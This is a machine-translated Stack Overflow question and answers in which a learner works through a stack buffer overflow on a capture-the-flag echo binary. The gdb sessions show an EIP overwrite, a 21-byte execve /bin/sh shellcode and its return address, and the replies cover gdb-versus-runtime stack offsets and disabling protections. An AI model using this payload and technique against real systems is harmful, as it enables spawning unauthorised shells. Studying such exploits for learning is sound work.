2016-12-30 61 views
0

我想了解緩衝區溢出如何工作以及如何使用它。 我正在嘗試利用提供的二進制文件解決一個簡單的挑戰(backdoorlabs回聲挑戰)。C簡單緩衝區溢出

(參見:http://hack.bckdr.in/ECHO/echo

我覺得我做的一切權利(accoring的指南和教程我一直在讀),但它仍然沒有工作,我都快瘋了幾個小時,現在已經。

bufferoverflow讓我可以寫下下一條指令(eip)。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')  

The program being debugged has been started already. 
Start it from the beginning? (y or n) y 

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
0x42424242 in ??() 
(gdb) 

所以我能夠覆蓋未來EIP,現在讓我們來添加它產生一個外殼部分21個字節shell代碼,並試圖找到的地址在哪裏。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
The program being debugged has been started already. 
Start it from the beginning? (y or n) y 

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒ 
     ̀ 

Program received signal SIGSEGV, Segmentation fault. 
0x42424242 in ??() 
(gdb) x/100x $sp 
0xbffff750:  0xe1f7c931  0x2f2f6851  0x2f686873  0x896e6962 
0xbffff760:  0xcd0bb0e3  0xbfff0080  0xbffff80c  0xb7fff3d0 
0xbffff770:  0x08048480  0xffffffff  0x0012efc4  0x080482d8 
0xbffff780:  0x00000001  0xbffff7c0  0x0011eb25  0x0012fab0 

賓果的shellcode就在這裏裝在0xbffff750,所以這是我們ADRESS想解決的EIP到..

到現在爲止一切看起來正確的我,所以我嘗試了正確的價值觀找到。

(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒ 
     ̀ 

Program received signal SIGSEGV, Segmentation fault. 
0xbffff750 in ??() 
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686 
(gdb) 


(gdb) x/i $eip 
=> 0xbffff750: xor %ecx,%ecx 
(gdb) 

生態工業園得到了改變向右ADRESS和shellcode的很到位然而,當我嘗試在我的殼這是行不通的,仍然出現segfaults,你可以看到。

[[email protected] tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒ 
     ̀ 
Segmentation fault 
[[email protected] tmp]$ 

任何人在這裏有一些想法,看到一個錯誤或有任何其他的想法? 如前所述,我是一名試圖瞭解基本原理的新手,顯然我做錯了什麼。

+0

我認爲這個二進制文件可能是用堆棧保護編譯的? –

+0

這是gcc編譯器使用的標準嗎? –

+0

這是由大多數現代操作系統完成的,以防止這些類型的漏洞。你必須使用特殊的選項來禁用它。 – Barmar

回答

0

我覺得你的問題是:

是有計劃的實際執行和GDB控制一個之間的差異。

您需要

  1. 預測這種差異。 this question舉例說明如何做到這一點。

OR

  • 我之前ALSE面對你的問題個月。當時,我觀察到了這種差異。但是我沒有用這種方式來找到差異,而是用的開發技巧0x331中的蠻力方法示例:使用shell腳本嘗試不同的偏移量。
  • This question可能會在未來幫助您,它會告訴您如何關閉一些安全功能以允許您進行攻擊。

    +0

    感謝您的回答,這對我來說很有意義。只是一個想法,如果我將shellcode更改爲某個文件而不是shell,那麼當在gdb中執行它時,它應該有回顯到該文件,對嗎? –

    +0

    我也想提一下,bananaappletw也是正確的,因爲這個二進制文件有一些保護(如導致段錯誤的堆棧執行保護,我相信)。我用我自己的資料來源,沒有任何保護地編譯它,確實偶然發現你正在描述的問題。 –

    +0

    @skanilos我認爲它應該可以工作,但shellcode回顯到一個文件可能會複雜得多。是,堆棧 –